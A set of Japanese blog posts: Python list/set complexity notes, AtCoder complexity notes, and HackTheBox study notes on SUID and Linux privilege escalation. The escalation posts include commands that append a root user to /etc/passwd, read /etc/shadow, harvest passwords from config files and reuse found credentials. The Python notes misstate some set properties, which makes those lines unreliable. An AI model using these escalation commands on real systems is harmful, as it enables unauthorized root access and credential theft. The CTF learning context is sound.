pythonのlistとsetについて 計算量など

前回の記事からの派生です。

pythonのListでa in listと書くとO(n)かかってしまうとのこと。
これを解決するために、Listではなくsetを使うといいようです。

ただ、setってちょっと扱いが面倒だったりするイメージ
なので、setとlistでできること、変換をまとめました。

また、計算量については以下を参考:
TimeComplexity - Python Wiki

・List
特徴:要素の書き換え可能
list_a=[]
list_a.append(a) #O(1)
list_a.pop() #O(1)
list_a.pop(3) #O(n) 使用注意!
a in list_a #O(n)

・Set
特徴:要素の書き換え不可
set_a=set() # {}だけだとdict型になる
set_a.add(a) #O(1) 値重複時は無視される
set_a.remove(a) # O(n) 値を消せる
a in set_a #O(1)

・こんなこともできる
A = {1,2,3}
B = {3,4,5}

C = A | B # 和集合 {1,2,3,4,5}
C = A & B # 積集合 {3}
C = A - B # 差集合 {1,2}
C = A ^ B # 排他的論理和 {1,2,4,5}

・変換
set_b = set(list_a) # listをsetに変換
set_c = set(strings) # 文字列をsetで変換、文字要素を重複なしで抽出できる

list_b = list(set_a) # setをlistに変換
list_c = list(strings) # 文字列をlistで変換、文字要素を単独で切り出せる



・参考 tupleについて
要素の追加、削除、変更ができない
setと混同していたので念のため記載・・・

AtCoder 計算量について学ぶ

1週間ぶりに落ち着いた時間ができたので、
久しく放置していた計算量について学びました。

参考:https://qiita.com/drken/items/18b3b3db5735241465ef


AtCoderで使える知識となるよう、メモします。

扱えるループの回数と使用目安

1秒間で扱えるループの回数の目安が、
10**7~10**8(シンプルなら10**9)ということです。

ABC問題の実行時間は2秒程度が多いので、
おおむね上記と同じ10**7~10**9あたりが限界と覚えておきます。

また、上記を踏まえたnの数値は、

n!...n=10程度
2**n...n=20程度
2**n/2...n=30程度
n**4...n=100程度
n**3...n=300程度
n**2...n=10**3~4程度
nlogn...n=10**5~6程度
n...n=10**7~8程度
logn...n=10**9~12程度

色々なアルゴリズムのオーダー

・線形探索...O(n)
・偶数出力...O(n)
・かけ算九九...O(n**2)
・2頂点間最小距離...O(n**2) →分割統治法によりnlognへ
・行列乗算...O(n**3)
・二進法展開...O(logn)
・ナベアツ...O(logn)
・二分探索...O(logn)
・マージソート...O(nlogn)
・素数判定...O(sqrt(n))
・bit全探索...O(n2**n)
・順列全探索...O(nn!)
・ループ内で素数判定などの重い処理...O(n sqrt(n))
・エラトステネスの篩...O(nlognlogn)

自分の実装しようとしているプログラムがどの程度のオーダーになりそうかを、
前もって意識できるように考えていきたいです。

以上。

HackTheBox頑張る その27 ~SUID/GUIDについて

前回、特権昇格の記事を見ているときにSUID/GUIDの話があり、
Linuxの仕組み的なところからよくわかってなかったので調べてみる。
参考:https://www.atmarkit.co.jp/ait/articles/1706/16/news005.html

SUID/GUIDは、ファイルのパーミッションとは別の概念
ls -lでパーミッションが表示されるが、x部分がs, S, t, Tとなっている場合がある

・所有者のxがsまたはSのとき、SUIDが有効となっている
 →実行時に所有者の権限を引き継ぐ

・グループのxがsまたはSのとき、GUIDが有効となっている
 →実行時のグループの権限を引き継ぐ

・その他のxがtまたはTのとき、Stickyが有効となっている
 →ディレクトリの場合は、削除権限を持つ

※ただし、バイナリの実行ファイルのみ有効、スクリプトには効かない

それぞれのファイルの探し方

(1)SUIDが有効
find /usr/bin/ -perm -u+s
find /usr/bin/ -perm -4000

(2)SGIDが有効
find /usr/bin/ -perm -g+s
find /usr/bin/ -perm -2000

(3)SUIDまたはSGIDが有効
find /usr/bin/ -perm -u+s -o -perm -g+s
find /usr/bin/ -perm -4000 -o -perm -2000
find /usr/bin/ -perm /6000

(4)SUIDとSGIDが有効(※)
find /usr/bin/ -perm -u+s -a -perm -g+s
find /usr/bin/ -perm -4000 -a -perm -2000
find /usr/bin/ -perm -6000

SUIDの動きを端的に示している例

 パスワードを変更するには、「パスワードを記録しているファイル」(※)を書き換える必要がありますが、これにはroot権限が必要になります。このため、passwdコマンドは所有者rootかつSUIDが有効になっており、誰が実行してもroot権限を行使できることになります。

この場合、/etc/passwdファイルは所有者rootで、本来は各ユーザでは編集できないが、
passwdコマンドはSUIDが有効になっているため、だれが実行してもroot権限で動く
GUIDについても同等と考えられる。

SUID追加をするコマンドは以下

chmod u+s passwd


記事の最後のほうに、以下のように注意が記載されていました

 SUIDが設定されているroot所有の実行ファイルは、誰が実行してもroot権限で実行されることになります。従って、セキュリティ上の問題になりやすく、取り扱いには十分な注意が必要です。

 対策としては、例えば、(1)SUIDおよびSGIDが設定されているファイルのリストを作成しておき、(2)SUID/SGID付きのファイルが追加されていないかどうか、あるいは、SUID/SGIDが設定されているファイルが書き換えられていることはないかを定期的に確認する、というものがあります。

逆に、権限昇格を狙うのであれば、
SUID付きでrootが所有者であるファイルを探ればよい可能性があるということです。

以上!

HackTheBox頑張る その27 ~特権昇格について2

先日の続きです。
以下の権限昇格について記載された記事を見ています。
linux privilege escalation basics :: xorond's blog for security stuff

先日は途中まで読み進めたので、その先を。

Exploitation

実際に前の記事で紹介した情報を用いて権限昇格を行う
syachineko.hatenablog.com

world-writable files

openssl passwd evil
SGB28vgY8Us8Y
echo "hacker:SGB28vgY8Us8Y:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker
Password: evil

etc/passwdに直接書き込む例

credential reuse

su root
Password: thisisthemysqlpassword

別のところで見つけたパスワードを流用している可能性、とりあえず使ってみる

sudo権限

すいません、ここちょっとわからないので、後日SUDO権限およびSUIDとかの部分をまとめて調べます
とりあえず、PATHの中にあるフォルダにスクリプトを入れるとsudoできたり、vimコマンドでroot権限で実行できたり・・・。
詳しくはGTFOBinsにサンプルあるよ、とのこと

脆弱性のあるソフトウエア/カーネル

root権限で動いている脆弱なSWがあれば、権限昇格の可能性がある
また、有名なカーネルエクスプロイトが古いバージョンにはいくつかあるため、ツールを使ってみてみるとよい
有名なカーネルエクスプロイト:dirtycow, half-nelson, full-nelsonなど
使用ツール:linux-exploit-suggesterなど
GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

setuid binaries

setuid bainariesがどんなものか想像ついてないのですが、ユーザお手製のスクリプトであれば、
バッファオーバーフローやコマンドインジェクションといった形でroot権限を奪える可能性あり

設定ミスのcron job

root権限で実行されるcron jobがあれば、その実行ファイルに細工すればroot権限で実行できる可能性がある

内容盛りだくさん・・・
具体的な項目が多く、非常に勉強になりました
特によく確認するファイルについては、スクリプトにしておいたら使えるかな・・・?

そういえば、過去別の記事でも特権昇格について書いていたので、
こちらも記事に起こさなければ・・・
参考:
Things I learned after rooting 25+ Hack the Box machines! | by Aditya Anand | InfoSec Write-ups | Medium

以上!

HackTheBox頑張る その26 ~特権昇格について1

過去のWriteUp確認で、ある方が特権昇格についてまとめていたので、
内容を見ていって学ぶことにします。

参考:
linux privilege escalation basics :: xorond's blog for security stuff

システム情報

hostname # hostname
whoami # current user
ip a # show ip address
ifconfig -a # show ip address
cat /etc/*issue # linux distribution
cat /etc/*release # linux distribution
uname -a # hostname, kernel version, cpu architecture (32-bit vs. 64-bit)
dmesg | head -n1 # hostname,kernel version, cpu arch (if uname doesn't exist)
cat /etc/resolv.conf # dns information
ip r # route information
cat /etc/network/interfaces # show network config
cat /etc/sysconfig/network # show network config
iptables -xvL # show firewall rules
netstat -antpl # show current network connections and opened ports on the machine
ss -antpl # if 'netstat' doesn't exist

ネットワーク系が多い。実際のペネトレでは重要な情報か。

ユーザ情報

whoami # who am i?
id # groups
last # last logins
w # who's logged in?
who -a # who's logged in?
cat /etc/passwd # take a look here for any hashes or interesting users
cat /etc/passwd | cut -d':' -f1 # list all users
cat /etc/passwd | grep -vE "(nologin|false)" # only print out users with shell access
umask -S && umask # current umask values
echo $HOME # home directory
ls -alR $HOME # what's inside our $HOME?
cat ~/.bash_history # bash history
cat ~/.zhistory # zsh history
cat ~/.nano_history # nano history
cat ~/.mysql_history # mysql history

cat /etc/shadow # unlikely but worth a shot
ls -al /etc/passwd # check if we can write there

umaskについて知らなかったのですが、以下のようです
umaskコマンドについて詳しくまとめました 【Linuxコマンド集】

ファイルを新規作成するときに、権限を変更することができるマスク

特権アクセス

cat /etc/sudoers # can we read? which users have sudo privileges?
sudo -l # can we use sudo? do we need a password?
ls -al /root # can we read /root?
ls -alR /home # check permissions for /home directories

sudo -lしてPW聞かれなければ、特権昇格できるとして、
前回も書いたGTFObinsの紹介がなされていた、次回はこのツールを確認したい
GTFOBins

環境変数

echo $PATH # current value of PATH
env # display environment information

環境変数にキーやパスワードがあったり、隠れたbinファイルをPATHで見つけたり。

cronやtask

|

crontab -l # cron jobs for this user
ls -alR /etc/cron* # show all cronjob files
cat /etc/crontab # read main crontab file

実行したいスクリプトを、root権限で実行したりできるかも?

* 実行中プロセス・サービス確認
>||
netstat -antp # which ports are services exposing?
ps aux # list all processes
ps aux | grep root # list all processes running as root
top # show processes

バージョン情報確認

dpkg -l # (Debian/Ubuntu variants) show installed packages and versions
rpm -qa # (CentOS/RHEL) show installed packages and versions
pacman -Q # (Archlinux) show installed packages and versions

sudo -V # sudo version

etc配下のconfファイルにあるpassword文字列列挙

grep -Ri password $(find /etc -name '*.conf' 2>/dev/null) # search conf files in /etc for passwords

さらに次のフォルダも確認
/home /var/log /opt /var/www 

拡張子
php cfg inc log txt ini

確認文字列
pass: username passphrase

これらに加え、grepの前後を-C 2とかでとると、PW文字列っぽいものをひっかけたりできるかも。

また、例えば上記で取得できたPWがmysqlだったら

mysql -uroot -pPASSWORD # check if you can login to mysql with PASSWORD

として試してみる

SUID/GUIDに関する情報

find / -writable -type d 2>/dev/null # show writable folders
find / -writable -type f 2>/dev/null # show writable files
find / -perm -4000 -type f 2>/dev/null # search system for suid files
find / -perm -u=s -type f 2>/dev/null # search system for suid files

getcap -r / # get capabilities of binaries

正直SUID/GUIDの部分について理解が浅いので、別記事でお勉強したいところです・・・

記事はもう少し続くので、また次回!

HackTheBox頑張る その25 ~PopcornのWriteUpで有用そうなアプローチをメモ

今回もやってみます。

                                                                                                                                                            • -

hackthebox - popcorn :: xorond's blog for security stuff
全体的に非常に細かくてわかりやすい

さらに、この作者がまとめている特権昇格の記事が良い
linux privilege escalation basics :: xorond's blog for security stuff

これについては、別記事で紹介することにする


【Hack the Box write-up】Popcorn - Qiita
さんぽしさんの記事

特権昇格部分で、dirty cowというカーネルエクスプロイトを使っていた
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit

また、その前にLinpeasというツールについても書いてあり、ググったら高橋さんの記事がHIT
Kali Linuxに(自分が)追加したいペネトレーションツール - 高林の雑記ブログ

こちらの中身もそのうち確認しようと思います。

このマシンは収穫がいっぱい!
色々勉強&メモしていかねば。

以上。

HackTheBox頑張る その24 ~DevelのWriteUpで有用そうなアプローチをメモ

第三弾になりました。
今回は、Develというマシン。

                                                                                                                                  • -

Hackthebox Devel Writeup (OSCP Style) | Intrusionz3r0
OSCPライクに解いている

マシンにftpしてシェルを実行するときに、
・Webシェル
・リバースシェル
を使い分けて実行すること。
自身の攻略時はリバースシェルを使って最初から接続しようとしてたが、Webシェルのほうがわかりやすい・・・・

特権昇格にWindows-Exploit-Suggesterを使う
GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

・・・この人のやり方、かなり参考になる
TOP:
Intrusionz3r0


Wnuk - Devel
こちらの記事も非常にシンプルでわかりやすい
内容自体は上の記事と一緒だが、積極的に参考にしていきたい。


以上